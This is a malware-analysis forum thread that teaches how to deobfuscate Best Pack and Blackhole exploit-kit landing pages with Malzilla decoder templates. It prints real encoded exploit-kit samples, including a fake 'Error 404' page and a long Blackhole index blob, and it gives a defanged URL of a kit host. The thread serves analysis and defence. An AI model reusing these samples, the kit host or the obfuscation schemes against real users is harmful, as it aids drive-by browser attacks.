Malware Related > Malware Analysis

Deobfuscate exploit kits using Malzilla

(1/4) > >>

SysAdMini:
I'll give you some examples how you can use Malzilla for deobfuscation of exploit packs.

My preferred method is using templates for various exploit kits.

Part 1 - Best Pack exploit kit

Create a new file in Malzilla's subdirectory "templates" and name the file "BestPack".
Insert the following lines.


--- Code: ---delimiter=':';
 var xcvb,worda=alt.split(delimiter),resalt='';rasn=18;
 for(var ii=0;ii<worda.length;ii++)
 {
   xcvb=eval(worda[ii]-rasn);
   resalt+=String.fromCharCode(xcvb);
 }
 document.write(unescape(resalt));
--- End code ---


Load obfuscated code into a decoder tab and delete everything from the beginning of the script till "alt".







Goto the end of the code and delete everything behind the data array. Add a comma at the end.






Click the "Template" button and choose "BestPack" from the list. This will insert our template code at the top.




Cut the inserted code and paste it at the end of the script. Adjust the delimiter value. In my example all data values are separated by "^".
We have to change the value of delimiter to "^".



Now click the "Run script" button and you will see the deobfuscated code in the bottom window.






SysAdMini:
Part II - Blackhole exploit kit

In this part I will show you how to deobfuscate the currently dominating exploit kit - Blackhole.
We use a template for decoding again.

Here is the template. Create a new file in Malzilla's subdirectory "templates" and name the file "Blackhole".
Insert these lines:

--- Code: ---s=new String();

        if(typeof(a) == 'string') {
         for (i=0;i<=a.length;i+=2){
  q=a.substr(i,1)*10;
          q+=a.substr(i+1,1)*1;
  s=s+z.substr(q,1);
         }
        }
         else   
        if(typeof(a) == 'object')  {
         for(i=0;i<=a.length;i++){
  s+=z.substr(a[i],1);
}
        }

        document.write(s);
--- End code ---


Blackhole consists of an character table stored as a string  in variable z

e.g.


--- Quote ---z="kAp\"vl?j >ge_sEXaCG}$PD!wMx7BI+r6.1[5nd@fzq3/Ui{|*uc<hy\\2:4R(QLo'KSFJ=9mWO)VbT]0t^N;H8-,&";
--- End quote ---

and an array of indexes for this character table.

I have seen 2 different versions of code so far. Indexes are either stored as string


--- Code: ---<html><body><style>div {display:none;}</style><div><div>38635150711137803324314680116064525111378011310952533409587958088263800867635037385244533409524451113780113109525331096474834050375180466337081137381231113846311151806074471904163108071604164046051169643344101671111344101180681604162937406333071631648304163108070411316935798779877987797887023840041131693579877987798779788....
--- End code ---

or stored in an array


--- Code: ---<html><body><script>
a=[26,25,87,62,75,54,88,49,57,45,72,48,49,54,78,50,24,87,54,88,49,54,72,27,24,4,22,27,80,47,80,86,64,25,49,86,37,25,62,88,26,24,70,4,22,27,24,70,87,54,88,49,54,72,27,24,4,72,27,50,89,7,41,62,88,87,49,48,25,88,86,54,88,26,42,72,54,26,48,72,54,87,49,78,89,23,19,5,82,72,86,73,82,5,82,41,48,36,54,65,50,57,70,66,82,75,54,53,7...
--- End code ---

All we need from the original script is the character table and the index values. Delete everything else.

Let's start at the top. Load or paste a script into a Mazilla decoder tab.

If the indexes are stored in an array, then you only need to remove the leading html tags.
It should look like this.




If indexes are stored as a string, then remove leading html tags and insert

--- Quote ---a="
--- End quote ---

Here is an example




Let's go to the end of the index values.

If we have a Blackhole script that stores indexes in an array, then you only have to remove all code
behind the character table in variable z.




If we have the string version of indexes, then replace

--- Quote ---</div></div><script>
--- End quote ---
by
--- Quote ---";
--- End quote ---
Keep the character table in variable z and delete all other code.




Now click on the "Template" button and choose "Blackhole" from list. This will insert our template code at the top of the code.




Cut the inserted code and paste it at the end of the script. Now click the "Run Script" button and you will see the deobfuscated code in the bottom window.



Caution !

Latest version of the Blackhole splits character table (variable z) into multiple lines. Make sure that you keep all lines.  ;)

example

--- Quote ---         z="[>{v-X.0saQ,\"h(p7IPcE4m5Ng\\W";
         z+="i8?^lx&MJ;b$!FnHuBw=*13k@y/DKC";
         z+="ze|rL: +f'oG)Oj]R_SU2V}tA<Tdq96";

--- End quote ---

jbomber26:
Awesome explanation! Thank you!

SysAdMini:
Update for Best Pack template

A new version of Best Pack uses a  mix of ascii and unicode characters.

An example can be found here

--- Code: ---hxxp://cicarredgtal.servecounterstrike.com/kntrn334e/spl.php
--- End code ---

It looks like this:

--- Code: ---<html>
<head>
<title>Error 404</title>
<noscript><meta http-equiv='refresh' content='0;URL=bad.php'></noscript>
</head>
<body>
<img src="18.png" width="1" height="1" alt='' id='55&#41;72&#41;70)55)72)88)55)&#55;2)6&#57;)55&#41;73)7&#49;)55&#41;72&#41;&#56;6)5&#53;&#41;72&#41;71&#41;5&#53;)72)87)55)&#55;3)7&#48;)55)&#54;8)&#56;7)&#53;5)7&#51;)73&#41;55)&#55;&#51;)6&#56;)55)72)75&#41;&#53;5&#41;&#55;3&#41;7&#48;&#41;55)7&#50;)71)55&#41;68&#41;74)55)68&#41;73&#41;55)6&#57;)85)&#53;5)&#55;&#50;&#41;69)5&#53;)&#55;2)71)55)&#55;2&#41;&#56;7&#41;&#53;5)&#55;&#51;)70)55&#41;&#55;2)71&#41;5&#53;)7&#51;)&#54;8)55)&#54;9)&#56;7)5&#53;&#41;69)85)55)7&#50;)74)55)69)67)&#53;5)69)8&#55;)&#53;5&#41;&#54;&#57;)70&#41;&#53;&#53;)69&#41;&#54;6)55)69&#41;&#55;0)5&#53;)68&#41;66)55)7&#48;&#41;87)55)7&#50;)88)55)&#55;3)70)55)6&#56;)6&#54;&#41;&#53;&#53;&#41;70)72)5&#53;)&#55;2)88&#41;55)73)&#55;1)&#53;5)7&#50;&#41;8&#55;&

--- End code ---

The conversion is normally done by a victim's browser. In Malzilla we emulate a browser only.
So have to do the conversion by script.
I have added conversion to the Malzilla template. Template can now deobfuscate old and new versions of Best Pack.

Here is the new template:


--- Code: ---delimiter=")";
str="";isuni=false;ii=0;cc="";
while (ii<alt.length){
 z=alt[ii]; 

 if (alt.substr(ii,2) == "&#") {
  isuni=true;
  ii=ii+1; 
 }

 if (((isFinite(z)) || (z==delimiter)) && (isuni==false)) {
  str=str+z; 
 }

 if ((isFinite(z)) && (isuni==true)) {
  cc=cc+z; 
 }

 if ((z == ";") && (isuni == true)) {
 isuni=false;
 str=str+String.fromCharCode(Number(cc));
 cc='';
 }
 
 ii=ii+1;
}

var xcvb,worda=str.split(delimiter),resalt='',rasn=18;
for(var ii=0;ii<worda.length;ii++){xcvb=eval(worda[ii]-rasn);resalt+=String.fromCharCode(xcvb);}
document.write(unescape(resalt));
--- End code ---

A modified script should look like this example:

--- Code: ---alt='55&#41;72&#41;70)55)72)88)55)&#55;2)6&#57;)55&#41;73)7&#49;)55&#41;72&#41;&#56;6)5&#53;&#41;72&#41;71&#41;5&#53;)72)87)55)&#55;3)7&#48;)55)&#54;8)&#56;7)&#53;5)7&#51;)73&#41;55)&#55;&#51;)6&#56;)55)72)75&#41;&#53;5&#41;&#55;3&#41;7&#48;&#41;55)7&#50;)71)55&#41;68&#41;74)55)68&#41;73&#41;55)6&#57;)85)&#53;5)

.....


)55)68&#41;&#56;5&#41;55)&#54;&#56;&#41;&#55;3)55)71)&#56;8&#41;5&#53;)7&#51;&#41;&#54;9)55&#41;72)&#55;1)55)72)85&#41;55)72)7&#50;)55&#41;&#54;8)73)55)6&#56;)75)5&#53;)69)&#56;4';

delimiter=")";
str="";isuni=false;ii=0;cc="";
while (ii<alt.length){
 z=alt[ii];  

 if (alt.substr(ii,2) == "&#") {
  isuni=true;
  ii=ii+1;  
 }

 if (((isFinite(z)) || (z==delimiter)) && (isuni==false)) {
  str=str+z;  
 }

 if ((isFinite(z)) && (isuni==true)) {
  cc=cc+z;  
 }

 if ((z == ";") && (isuni == true)) {
 isuni=false;
 str=str+String.fromCharCode(Number(cc));
 cc='';
 }
  
 ii=ii+1;
}

var xcvb,worda=str.split(delimiter),resalt='',rasn=18;
for(var ii=0;ii<worda.length;ii++){xcvb=eval(worda[ii]-rasn);resalt+=String.fromCharCode(xcvb);}
document.write(unescape(resalt));

--- End code ---

SysAdMini:
Updated template for Blackhole exploit kit

Blackhole kit has been modified since a few days.  Index values are not split into multiple div sections.
You can remove all the div tags manually, but this would be a waste of time.
We can do that by template.

Here is the updated template.


--- Code: ---       s=new String();

        if(typeof(a) == 'string') {
         a=a.replace(/<html><body><div style="overflow:hidden;width:1px;height:1px;">/g,"");
a=a.replace(/<\/div>/g,"");         
         a=a.replace(/<div>/g,"");         
         a=a.replace(/<script>/g,"");
         for (i=0;i<=a.length;i+=2){
  q=a.substr(i,1)*10;
          q+=a.substr(i+1,1)*1;
  s=s+z.substr(q,1);
         }
        }
         else   
        if(typeof(a) == 'object')  {
         for(i=0;i<=a.length;i++){
  s+=z.substr(a[i],1);
}
        }

        document.write(s);
--- End code ---

Enclose index values in single quotation marks.

A modified script, ready for deobfuscation, should now look like this example:


--- Code: ---       

a='<html><body><div style="overflow:hidden;width:1px;height:1px;"><div>82083072255779061534525506570085763057790657520276568102444144056508060550087279827673568102767330577906575202765652028545678672793006550879055779827752578255525730060045093455798208341571083036065508</div><div>79155652578624855606064360737322080822715715300825856737423652056436423686557157248515732236255717732257067436423638798608156436528567423652056442575224594132413241324170324382864257522459413241324132</div><div>41706706523909423652051871722255791357065730062409563679827157526086727930065508790030322132364509525706725279058672793006550879004509300021323645373732551713578655795782608672793006550879002145095257</div><div>06725279050639435708860521882469727982578655795782693732551747525236396086727930065508790021450952570672527900733652523639735545150657170600332164573006154352080608063943571506088706525579221530367171</div><div>00214545373255175072793060867279300655087900214509525706725279050639435708860521242469867279300655087969373255178706525579226086727930065508790021450952570672527905063943570886052124246917065255792269</div><div>37325517657225608672793006550879002145095257067252790506394357088605212424697972252157526937325517870652657225608672793006550879002145095257067252790006394357088605212424691706525579226968680073808273</div><div>45150657170600214545373222570665722503572248607359808270598082801580773262705173321743715506657225035722486073598015807732627073223222570665722560867279300655087900213230450942365205822406565517323624</div><div>82155517870652657225002145040082155517135786557957820030450479573405035722294843003045608215225706657225035722484515574857300021456079727171675257067252790536043659417060797271713732300825433652576572</div><div>25176086727930065508790056328632824509423652055724065655173230322132363222244336521757387906675586005715551787065265722500564568685715551787065265722500864545095586005715551713578655795782008245686882</div><div>15300825433652576572251745095257067252790582153008254336525765722517005632864537302456151743715506005715174371550665722503572248456721248615174371550600571517437155066572250357224845678608520036244167</div><div>36764936065615255579003015715779220656322115715779220656456736353545095586002200305936703281414502220021593670328141454509525706725279058137558600220030593670328141457622002159367032814145450952570672</div><div>52790562813737375257067252790541373286085225360665722560867279300655087900213230450942365205822406565517323632576755860088821555178706526572250021454509525706725279057972717137558600888215551765722500</div><div>30454509302444373062626757242115525743713630570073801773223269694515174371550600821517437155066572250357224845153008793036060059694169326941693269416932694169704567860852003624416736764467363535450955</div><div>86007301004135450015354531731506571706005759367045450957593670240357222948431531113755860036023066668800738082734515065717060057593670454509575936702469416937375257067252790557151771553057004132444515</div><div>64085579006932694537323131563617495525572839435760867279300655087900364509525706725279058672793006550879008245095586008836155517382968688245094236520530322132573286243615551787065255792200824504598270</div><div>60826755860088866666888615715779220656450952570672527905797271713786085200572441675776861571577922065667573535450955860073590180177073150657170600865957704568680030247936425522360608521525552557283943</div><div>57175986595770704568680021243015577936217157821871722255794568680021157936255766662115825717305255430655087945450952570672527905303737375257067252790579727171373732865579826536421871722255796086727930</div><div>06550879007132573230450942365205642406565517325624795734050357222948430071326955694532822400886415551713578655795782005745666657450473808273604132582430047957340503572229484300303269556945604132362479</div><div>36425522360608521543717222557917322224696932863221322567860852008624416786763615715779220656678635354509252436598670158257173052554306550879666622672124365986701579362557666622675586000056150657170600</div><div>25456868008882666682150657170600035722294843157157860610087906574806350357222948431552552256061008790657480645454566660056150657170600214568680088826666821506571706000357222948431571578606100879065748</div><div>06350357222948431552552256061008790657480645454545095586008858666688005815065717060025456666581506571706002145454509525706725279053659867037373752570672527905797271713732225706495525572979362171578218</div><div>71722255796086727930065508790036328645094236520557240656551732213230247957340503572229484300863269556945328224696967558600002124571556361749552557283943570036454568680021242115577936217157821871722255</div><div>79456868003015065717060021158257173052554306550879666682456666301506571706002115793625576666824545450952570672527905213752570672527905413732225706187172225579505571576157521755087960867279300655087900</div><div>86322145094236520556240656551732573282322232363230246281675586005615338702116666888666668886154257521755087966668800572456152257066572250086154257521755087945454509525706725279052137558600882145095257</div><div>06725279055737572456158608522536066572250057456721245615860852253606657225002145678224211517437155060056151743715506657225035722484567222457151743715506005615174371550665722503572248456786085200362441</div><div>67367682157157792206566736353545095586003002628168683602306868825936708824694169450952570672527905213755860022593670882482593670450955860030242462814509302436375586008259367088246941694509525706725279</div><div>05213737375257067252790557373247143360345579820834154730065542571433216457300632225706471433608672793006550879002145094236520586247972717132823230240656551732366706523909862479573405301547143300214537</div><div>30360630560082450937525706725279058637323008794257520650727930176086727930065508790022450942365205363256328632212473015980317059803170733282240937323024065655176786085200360555790522450955860021150657</div><div>17060036454509825936702481373786085200360555790582450906523909562436151771553057001145675586005615715779220656024168688822595670450922595670242259367000224567825771570657052259367037373036063056008645</div><div>09373737325579550687305255430660867279300655087900450942365205302406565517323624793642552236060852325724697369325524361572175752472257790666666969322224361542577982085266666969322124361543713606860852</div><div>25666669693256243615435208827230066666696967301533872481414167558600214509423652058632822459697555796932813269493630693211326916557972486932233269505257571287136932443269551856087957693211811581326955</div><div>18088269321181151132695518368269321181152332697555791551102969321111158132697555791551490821557157693211111511326918083058570680801751181069321111152332696932814141706786085200862482157157792206566211</div><div>67860224416786248662114509558600825986706868795734050357222948430082598670326955694515065717060021454509301533872482598635817067215257365837373730153008794257520650727930170030456730155517382924795734</div><div>05507279300655087900695257067252790569355735695126303077087988265169355735698636711757694500456730154257523829243015551738296868007349873829801751008082358015048082514573554515065717060055450443365217</div><div>57507108360600035722294843153181328141456079727171673015473006554257142979362171578224863671175767558600301555173829450942365205863264245969491748257111151449162028281869326949174825711115133349130830</div><div>72255779066932694955305208170886061514491613334969326987560830583436425750713617561587560830583436425750713617566932692813101006711528131010067169326987565771711527382057714357526932698730525543065579</div><div>22151355300655087936523969326934254371363957521508304869706786085200862441678676641571577922065667863535450955860030152257064714330064598670454509301547300655425714297936217157822406527257672152573658</div><div>37373015565736822430155517135786557957820082083072255779061522570629715725577906171239283622653625574504820830722557790615225706297157255779061712392836226536255700695657368269455941706079727171373015</div><div>55174057305808240073405730580873554515065717060056456868007340573058088017518073801751808273554515065717060055456730154257524057305808243015551740573058080430158608522536066572250000735242801751806080</div><div>17510059801580328082703545735545150657170600554504035722294843153181606941158469456079727171673015551787368636525524007387368636525580175180738017518082735545150657170600554568680073474343715773554515</div><div>06571706002245673015551710565208255724007310565208255780175180738017510080825980828015705145735545150657170600554567301542575210565208255724301555171056520825570430158608522536066572250003572229484315</div><div>31814560797271716730155517334357523624007333435752368017515980737004801751008082358015048082514573554515065717060055456730154257523343575236243015551733435752366868000073615752175508798017518073801751</div><div>00808235801504808251457355451506571706005545666681450443365217575071083606000357222948431531813281414560797271716730153682827555792942577906006971083682693230155636798271575200301552727975168672793017</div><div>32304545373255795506608672793006550879003045094236520521240656551732363230675586008821155517870652557922003045450952570672527905622337558600301571577922065624248145092115225706615752175508791357715525</div><div>55065752243067525706725279056223373024301506081608345752103617570045155257437136305700738017732232696945673624215930706755860088366666883615225706615752175508794509525706725279056223372115437172225579</div><div>24366755860088211555171357865579578200361555791706367171578245450936155579170636717157822436154257521755087924361542575217550879412436152257066157521755087913087957247972717167361531242167361543717222</div><div>55796536255724303721152236522136225724863671175767558600211555173829686888211547300655425714297936217157824509558600368824242115643642364509525706725279056211373752570672527905813732861872175660867279</div><div>30065508790021323645094236520530240656551767558600301555174752523639003645686800301555175072793000214566660030155517475252363900214568682115715779220656024168683015551750727930002159417045454545093615</div><div>43721756002145373732303671714752523639608672793006550879002145094236520530240656551732366755860030155517475252363900214545098608520036244167367621157157792206566736353545095586002159367024242479727171</div><div>45095257067252793730153036717100215936704567215936702479727171373737323036717160867279300655087900304509423652052124065655173236242115551747525236390030450430157157792206566062816755860036024168682115</div><div>55175072793000305941704545093059417000213236028104305981706041323602110430591170604132360223043059237060414537577117570955860021155517507279300030454509300021453737373222570661575217550879135771552555</div><div>06575260693269323131225706615752175508796086727930065508790036450952570672527905867279300655087900223282323045094236520557243615557955060022453286322132566755860057764145095257067252790579727171376786</div><div>24361543717222557967558600861522570661575217550879130879578824814509861522570661575217550879007972717132823230456755860086152257066157521755087913087957242424797271714509861522570661575217550879130879</div><div>57248137373615307157367972430045672124008615425752175508796666861542575217550879414567212421042115525743713630570036151743715506657225035722483236152257066157521755087913577155255506575245602167525706</div><div>72527905213737323071573679724360867279300655087900450942365205362406565517675586003615223652213622576868361555171357865579578200345579820834151008717157300640365221362257454509345579820834151008717157</div><div>30064036522136225700453737323682827555792942577906608672793006550879008232304509423652055724065655173236243455798208343221675586005715551750727930003045450955860036153682822942577906165517065779575245</div><div>09361536828229425779061655170657795752008232303286367117574537577117570955860036153606063630562942577906450936153606063630562942577906006908796935823230453757711757092124365969087969358270673659690879</div><div>69358270245715345579203679827157520030322145373737373234557920367982715752608672793006550879008232304509525706725279058672793006550879004509820045675586000639435708860530242469867279300655087969450930</div><div>00453737373275168672793017416059703275168672793017605970325272797516867279301760867279300655087900364509361534557916083682578224065272576736153036717147525236390036157516867279301741456736153036717147</div><div>52523639003615751686727930174567558600361508791308795729254306391355424509361508791308795729254306391355420045373732345579160836825782608636711757323131087975557982083416083682578260867279300655087900</div><div>36450952570672527905867279300655087900214509558600361534557916083682578245093615303671710021453757711757093615861872175600213236157516867279301745373737328255426079727171328255427555820656601941324371</div><div>72225579875583576081325725430639135542608672793006550879004509423652053024065655173236325732213282244167558600301582554268683015825542153056557182650882571745098608520036243015825542153056557182650882</div><div>57171571577922065662816736022441673662624509212430158255421530565571826508825717593670675586002168682115305655718265088257174509558600822424414509860852005724211530565571826508825717157157792206566281</div><div>67570224416757626245092115525725084257105655718200211530565571826508825717595770453730158255421552572508425710565571820021453757711757093737373737321333652986727930176059703208791308795729254306391355</div><div>42608672793006550879004509423652053024065655173236322167558600883015345579160836825782450952570672527937558600301575168672793017686830157516867279301715715779220656686830157516867279301759301575168672</div><div>79301715715779220656628170882424797271714509525706725279378608520036055579053045092124305936706755860021686821158672793017450955860021153328502424234509525706725279375586002115867279301715715779220656</div><div>68682115867279301759211586727930171571577922065662817088242479727171450952570672527937373786085200362441673676301513336529867279301715715779220656673635354509301530367171475252363900301513336529867279</div><div>30174537301557254306391355420045373222570675558206566086727930065508790030450955860030450942365205362430151730520871717555820656666630150886861757067555820656322124065655176755860021155517657225003645</div><div>45095257067252790536373752570672527905628137322257062836228706360672176086727930065508790025322232363221450942365205302406565517328632582425151743367932712430152257067555820656005845325624361517433679</div><div>32642430152257067555820656005645328224221517433679325524301522570675558206560082456755860088586666885666668882666688301522570613334908216400254545095257067252790562113755860064765566667176416666647641</div><div>66665576416666557624301543717222557987558357666630154371722255798755835776814509525706725279054137558600710224554509525706725279056281370652390955860071242430154371722255798755835768680088301555173829</div><div>66663015225706133349082164002545155257368239870636065724244445450955860088251534557916083682578268683015345579160836825782450952570672527905813755860025153455791608368257826868301555176572250021454509</div><div>55860088301555176572250025153008727906454509251530087279062421375586002162251530087279060224814145095257067252790581373737373036063056008645093752570672527905413732225706133349082164608672793006550879</div><div>00223236450942365205863282240656551732302422042215174336796041322124306868301586555217061056557182048160416706523909558600216868364509301586555217061056557182158608307217004537373036063056008645093752</div><div>57067252790521043015865552170610565571826079727171373217570687063971576086727930065508790021322245094236520586242115170639715732363282323024065655176755860086686822450986085200362441673676221571577922</div><div>06566736243635114509065239098659225936707024225936358170373036063056008245093737373732557917575206135542387912088239608672793006550879005545094236520522328224065655173256246943822323848423238484693230</div><div>24797271713286248208307225577906322124697669323624008615225706297157255779061712392836226536255700692108823969455941706666861521088239456755860088364509065239098615345255065700213585825542055582246985</div><div>35563585690208853521356973825542026945673024861522570629715725577906123938820056453730360630560022450937373624008615225706297157255779061712392836226536255700692108823969455941706666861521088239456755</div><div>86003645095586003615865552170610565571826868821555171357865579578200361555791757520612578608525745450936155579175752061257860852570055323615865552170610565571824537577117570936153643435779821056557182</div><div>00554537558600304509361552572508425710565571820030453737577117570937373255791757520620284916608672793006550879002232213256323632584509423652057132252482083072255779063264240656551732783208242515305257</div><div>36065729715725577906006917433679694532793255328624697669674236520530245969087206715579578706397157693269790879576932692108528257528706397157693269790879576932694336828255792269326941434869326925365222</div><div>55796932694143486932694255175521557155063969326942551755217157697067558600886415551713578655795782003645450936246969375586006415551787065255792200224568680073590180177073451506571706002245450978248635</div><div>22358505345582065624698535641543717222557987558357358569055657552256062469853564154371722255798755835735856905856786085200792441677976211571577922065667792479351145095586007359018017707315065717060021</div><div>59793581704545097835242159797035852469853521597935817035856905853737783524690269678608520079244167797656157157792206566779247935114509558600735901801770731506571706005659793581704545097835248635854336</div><div>52362505793625572469853556597970358569054236717257246985355659793581703585690573028537377835243635863569736935223569026937577117570978243637558600886415825542450964158255422425153052573606572971572557</div><div>79060069825542694567552425152257062971572557790612393882006943717222557982570657300669456755860055450964158255422455375771175709641582554215558224694371722255798257065730066967641555791757520613554238</div><div>79120882390064158255424537641517570687063971570064158255423230153008793036060059693455820656693264158255427555820656356943486932695657552256066932006415437172225579875583573523453569434869326986087906</div><div>87558357693200641543717222557987558357352345356943486932697155795720575522560669320064154371722255798755835735234535694348693269425752065530367147715522796932692136175771557957693269825517437136396932</div><div>69217108305869704545675586008855450964151757068706397157006415825542325969430817550655087969326936211708717206576932695255225606693269414348693269060843693269414348697045373755860064158255426868641582</div><div>55421543365257790665088257450964158255421536434357798210565571820008456764151757068706397157000832301530087930360600596986087906875583576932006415437172225579875583573523453569434869326971557957205755</div><div>22560669320064154371722255798755835735234535694348693269425752065530367147715522796932692136175771557957693269825517437136396932695579715579576970454567065239095586000868680815433652577906650882574509</div><div>08158608307217004537373036063056007145093706523909081555797957522028491624783730360630560071450937558600081530565571826508825717157157792206562424816868880064155517405730580868686415300825433652576572</div><div>25170064154257524057305808326981321932413241694576414545096415175706870639715700081586555217061056557182323015300879303606005969825517437136396932695579715579576970454537525706725279091743367960083234</div><div>55791608368257826064153455791608368257823206362265362557600064155517870652557922002245042260696945373752570672527909174336796079727171323455791608368257826064153455791608368257823206362265362557606969</div><div>37373264364236600925552557283943576059693643437155303606550879734862643642366236434371570669326936434371553036065508797348626436423662422569326936434371553036065508797348626436423662215736796970322555</div><div>25572839435774183860693643437155303606550879734862643642366236434371570667644355624257521755087924693230713617173813606930711755826053471384105344416241444429628181138162122329846241415341195044848413</div><div>84236932132854307136171738136069307117558260104750292950471062132910076241414141624141414162471210132950502913101247693213285425552557283943576059693643437155303606550879736436423662825743710839255779</div><div>06620608087158550669326936434371553036065508797379435272790655255762173052554306362171576243717222557967135743710839255779062808087158550669703286085230576157525586392836226059703264365260597032297936</div><div>21715782607936425522360608521564364236297936217157820045326129651333038760596987727905495530520817391706572517053879301569326947434371570510082543720657523205387930156970323328506079727171324771717742</div><div>57521755087917605970322555255728394357741838525717727106606969327436423618717222557977425752175508791760597032743642366157521755087917605959813284321132234170325981325332113223417032598132073211322341</div><div>70325981324632813223417032598132193281322341703259813244321132234170325981322332813223417070321757365230567436423618717222557947143360867279300655087900450942365205562479727171323624065655173230243615</div><div>31322224597032642459813219324132814470325524598132463241321170328624598132233281324170325724598132443211324170328224598132193241320770322124863671175767558600883015473006554257142979362171578245095257</div><div>06725279057972717137675586003015425752382902243615255579382942575245092224361517573652305674364236471433005532553221456755860022157157792206560241686821450922243615175736523056743642364714330064326432</div><div>21453737577117570955860022157157792206562424414509222436151757365230567436423647143300863257328636711757453737558600221571577922065602414509562422594170373615743642361871722255797742575217550879172459</div><div>70153008793036060022456752570672527905563732175736523056743642364714336086727930065508790071325532254509423652057932863256240656551715313278325832363257322232643221325224597067558600561530082543365257</div><div>65722517007115640855790069326945325515640855790069326945450241450955247137552456158608522536066572250055156408557900693269454567423652050832822469813244321132416932302469743642361871722255791569357159</div><div>41703569693571598170356969357159117035696935007159237002410400697769350071592370768141046941696069694535715923704560696945678608520079244167797606565517157436423661575217550879171571577922065667793535</div><div>45098624065655171574364236615752175508791759797067782469743642361871722255791569358659417035696935865981706722248659417035691569358659817035691569678608520036248659117067360224416736626245092124697436</div><div>42367557218706365206155517387917063671715782156935223536356915416967558600561530082543365257657225170086594170356932693586598170356932693536356932416932554502244168688856152257064714330021454509300879</div><div>06557972573708245615300825433652576572251700865941703569326935865981703569326935363569324169328245764104065272576086367117576786085200572486592370675702244167576262450958243635697769350057768141046941</div><div>69355760574567642478355867558600561522570647143300644568680008666656152257064714330021454545095215437217560022355845675586008825450952570672527905523737558600642424304509525706725279055237375586005615</div><div>22570647143300783536456868000866665615225706471433002145454509521543721756002235364567558600882545095257067252790552373755860078353624243045095257067252790552373737525706725279055237322555793829425752</div><div>60073222570649552557741838425752175508796086727930065508790045094236520556323624065655173282243615313230247957340503572229484300690069353615255525572839435774183835694500808082155145693269556945325824</div><div>79573405035722294843006974364236693269556945325732643286246969325524093732222441322167860852005624416756767936425522360608521525552557283943571715715779220656675635354509642479364255223606085215255525</div><div>57283943571759567067558600301506571706006415063943574568680057246415577936217157821871722255794568680064240357222948431531114568680058150657170600571582571730525543065508796666864566665815065717060057</div><div>15793625576666864545450955596936693582158608522536066572250064457024643737212469413241324132416967860852005605557905554509223535675724561517715530570081456755860082153008254336525765722517005732214502</div><div>41450921245737373615255525572839435774183852571772710624220241043615255525572839435774183835555969366935217060696967525706725279052202410421607972717137322257066157521755087960867279300655087900253282</div><div>32714509423652058632302406565517325724301531325624301565332850322124301536434371570632642430154257525586393255244257798208522442575217550879297936217157822479727171675586003015225706615752175508791308</div><div>79572424247972717145093015332850244167301525552557332164245715563617495525572839435700301525552557283943574567301582574371083928541531245767301582574371083928541543365257790665088257243067211531245767</div><div>21154336525779066508825724306755860056450956153124576756154336525779066508825724303755860064450964154336525779066508825724306764153124576764155579550600453737423652055867558600571555174752523639007145</div><div>45098608520058244167587621153671710834578215715779220656675835354509558600571555176572250071595870454509211536717108345782595870247159587037373786085200582441675876301586085230576157525586392836221571</div><div>57792206566758353545092115367171083457825958702430158608523057615752558639283622595870375586005715551787065255792200824545093015643652154372175600824537558600301522570661575217550879130879572424414509</div><div>55860088301542575217550879666621153036792852394779390045450986242115557917575206202849166372575239477171008245675586008659417045093015557917063671715782248167301529798240570661575217550879008659417032</div><div>86598170453737525706725279374236520522243015825743710839285415787257523900456755860022157403294509552422157403296742577982085224301561296513330387594170375586008857155517382945094236520578327932363208</div><div>67082400301525552557332164686830152979362171578245040652725760863671175767558600885568680086243015225706495525577418384257521755087900454588242479727171450955248637558600885568683015255525573321644509</div><div>86246974364236590180808270511871722262557969673624571586557982653642187172225579008645675586003645098624795734050357222948430086326955694567782486150657170600361582571730525543065508796666696945045715</div><div>22570665722500361582571730525543065508794560797271716779248615065717060036157936255766666969450457152257066572250036157936255745607972717167558600786868794509552400571530082543365257657225170057158608</div><div>52253606657225007845325715860852253606657225007945450224414504786079375771175709552478666679373737558600885568683015255525573321646868571555178736863652556868571533872424114509362457158655798265364218</div><div>71722255790069743642361551808082155118717222625579155110083008366932414567558600364509782457152257066572250036158257173052554306550879456755860078450955247837373755860055450930154257521755087941245567</div><div>55860030152979362171578245094257521755087929793621715782245537373757711757095586008855686822151706360672172424414509552430151757365230567436423618717222557947143300456755860055450942577982085224301561</div><div>29651333038759417037375586005545093015425752175508794124556755860030152979362171578268685715473006554257142979362171578245094257521755087929793621715782245537373755860088425752175508792979362171578266</div><div>66211530367928523947793900454509862421155579175752062028491663725752394771710082456755860086594170450942575217550879297936217157822486594170674257798208522486598170373755860088425752175508792979362171</div><div>57826868008624301578725752397555065608720647434371570617004545594170450930154257521755087941244257521755087929793621715782248659417067425779820852248659817067558600301555791706367171578224246241151945</div><div>09301555791706367171578224411519373755860057155517873686365255686857153387242411450955860088425752175508792979362171578268680845095586003015557917063671715782242424797271714509301555791706367171578224</div><div>41375771175709558600301555791706367171578224246241151945093015557917063671715782244115193737373755860030156452571355173621715782004545094257521755087929793621715782247972717137675586003015557917063671</div><div>71578224242479727171450930155579170636717157822442575217550879297936217157820481600055046241151160628145373015297982405706615752175508790042575217550879297936217157823242577982085245373229798240570661</div><div>57521755087960867279300655087900213282450942365205362406565517323024361531675586003615425752175508794145093615425752175508794124301586085225360665722500301522570665722500361542575217550879414545375586</div><div>00214509361542575217550879243015860852253606657225003015225706657225002145456736154257798208522400301555178706525579220082450482606969453755860036152257066157521755087913087957882481450936152257066157</div><div>52175508791308795724413737326452571355173621715782608672793006550879004509423652052124065655173282242115313230242115825743710839285415787257523900451574032932366755860030686882153387242481450955860000</div><div>82155517405730580868688215300825433652576572251700821542575240573058083269813284321132416945022441686882153008254336525765722517003032698132463241328111694576414566660082155517105652082557686882153008</div><div>25433652576572251700303269813246324132811169457641454509525706725279058137376755860082155517334357523668688215425752334357523602248468688821152979362171578268688821152555255733216468688821157872575239</div><div>75550656087206474343715706170045594170450952570672527905813755860000821555174057305808666682155517105652082557456868882115255525573321646868882115787257523975550656087206474343715706170045594170450952</div><div>57067252790581375257067252790541373282574371083928546009170636067217607972717132740329367171605970327403296079727171322028491660797271713278725752396086727930065508790045094236520586240656551732562486</div><div>15313230248615433652577906650882573255323632213222247157792479727171675586008615170636067217882424797271714509525706725279058637861517063606721724416755860000561555174057305808686856153008254336525765</div><div>72251700561542575240573058083256158608522536066572250069811546694545762441456666561555178736863652556666561555171056520825576666005615551738296868885615473006554257142979362171578245450952570672527905</div><div>86375586005615551738296868561542575238290224464509861520284916245615557917575206202849160069082164573006693259703259704567222456152257061333490821640086152028491645375771175709558600885615551738296868</div><div>00212456155636174955255728394357003015132854255525572839435745456868211506394357450986152028491624561555791757520620284916006908216457300669325969063943576932211506394357703259704567222456152257061333</div><div>4908216400861520284916453737558600224509558600561555173829686856154257523829022446450906523909221530713617175582243015132854307136171738133730360630560055450937376706523909423652058224221564422517